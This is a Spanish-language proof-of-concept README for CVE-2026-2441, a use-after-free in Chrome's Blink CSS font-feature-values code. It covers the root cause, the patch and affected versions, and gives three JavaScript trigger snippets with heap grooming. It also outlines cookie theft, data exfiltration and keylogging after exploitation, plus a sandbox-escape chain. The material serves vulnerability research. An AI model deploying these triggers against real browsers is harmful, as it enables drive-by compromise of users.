
Prueba de concepto para CVE-2026-2441, un use-after-free en CSS de Chrome que conduce a RCE en el renderizador con sandbox. Incluye tres métodos de activación, preparación del heap y análisis detallado.
CVSS 8.8 (Alto) | Explotado activamente en la naturaleza | RCE en el renderizador (con sandbox)
Una vulnerabilidad de use-after-free en el motor CSS Blink de Google Chrome que permite a un atacante remoto ejecutar código arbitrario dentro del sandbox del navegador mediante una página HTML manipulada.
| Campo | Valor |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (Alto) |
| Tipo | Use-After-Free (CWE-416) |
| Componente | Blink CSS — CSSFontFeatureValuesMap |
| Archivo fuente | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| Commit de corrección | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| Informante | Shaheen Fazim (2026-02-11) |
| Fecha del parche | 2026-02-13 |
| En la naturaleza | Sí — Google confirmó explotación activa |
| Plataforma | Vulnerable | Corregida |
|---|---|---|
| Windows / macOS (Stable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Stable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Navegadores basados en Chromium (Edge, Brave, Opera, Vivaldi) | Consultar el aviso del proveedor | Varía |
FontFeatureValuesMapIterationSource almacenaba un puntero sin procesar (const FontFeatureAliases* aliases_) al HashMap interno FontFeatureAliases. Cuando el mapa se modifica durante la iteración mediante set() o delete(), el HashMap se re-hashea — asignando nuevo almacenamiento y liberando el anterior. El puntero sin procesar se convierte en colgante, y la siguiente llamada a FetchNextItem() lee de memoria liberada.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = puntero sin procesar al HashMap interno
→ iterator_ = aliases_->begin()
FetchNextItem()
→ lee iterator_->key (a través de aliases_)
Si se llama a map.set() / map.delete() entre iteraciones:
→ El HashMap se re-hashea (nueva asignación, la anterior se libera)
→ aliases_ → puntero colgante
→ iterator_ → invalidado
→ Siguiente FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // puntero sin procesar → colgante tras el re-hash
+ const FontFeatureAliases aliases_; // copia profunda → inmune al re-hash
La corrección reemplaza el puntero sin procesar por una copia profunda del HashMap. Incluso si el mapa original se re-hashea, el iterador opera sobre su propia copia, evitando el puntero colgante.
poc.html en una versión vulnerable de Chrome (< 145.0.7632.75)| Versión de Chrome | Comportamiento esperado |
|---|---|
| < 145.0.7632.75 (sin parche) | Bloqueo del renderizador — STATUS_ACCESS_VIOLATION (Windows) o SIGSEGV (Linux/macOS). Chrome muestra el error "No se puede abrir esta página". |
| >= 145.0.7632.75 (parcheada) | Sin bloqueo — la PoC se ejecuta hasta el final, todas las entradas se leen normalmente. |
Cuando se abre en una versión vulnerable de Chrome, el proceso del renderizador se bloquea con STATUS_ACCESS_VIOLATION:
No se puede abrir esta página
Código de error: STATUS_ACCESS_VIOLATION
Esto confirma que el UAF se ha desencadenado — el puntero colgante accede a memoria liberada/no asignada, provocando la terminación del proceso del renderizador.
La PoC desencadena el UAF mediante tres métodos independientes:
entries() + bucle de mutaciónconst iterator = map.entries();
while (step < 20) {
iterator.next(); // lectura a través del puntero (ahora colgante)
map.delete(key); // desencadena el re-hash
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // fuerza la reasignación
}
for...of + mutación concurrentefor (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}
requestAnimationFrame + recálculo de diseñofunction rafTrigger() {
document.body.offsetWidth; // fuerza el recálculo de diseño
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}
Cada método también incluye preparación del heap — asignando 50 reglas @font-feature-values del mismo tamaño para hacer predecible el diseño del heap ante una posible explotación.
document.cookie, localStorage, sessionStorage, valores de entrada de formulariosfetch() / WebSocket / sendBeacon()addEventListener('keydown')Cuando se combina con una vulnerabilidad separada de escape del sandbox:
RCE en el renderizador (CVE-2026-2441)
→ Explotación de Mojo IPC → RCE en el proceso del navegador
→ Explotación del kernel → Compromiso total del sistema
→ Instalación de malware / ransomware / spyware
→ Acceso al sistema de archivos, movimiento lateral, persistencia
Cadenas de explotación reales que utilizan UAF similares en navegadores:
Esta vulnerabilidad es explotable mediante descarga automática (drive-by) — no se requiere interacción del usuario más allá de visitar una página maliciosa:
chrome://flags/#site-isolation-trial-opt-out)| Fecha | Evento |
|---|---|
| 2026-02-11 | Vulnerabilidad reportada por Shaheen Fazim |
| 2026-02-13 | Google publica Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) |
| 2026-02-13 | Google reconoce la explotación en la naturaleza |
| 2026-02-16 | Vivaldi y Opera publican correcciones |
Si esta investigación le resulta útil, considere invitarme a un café:
Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso de esta PoC contra sistemas sin permiso explícito es ilegal y poco ético. El autor no es responsable de ningún uso indebido.
MIT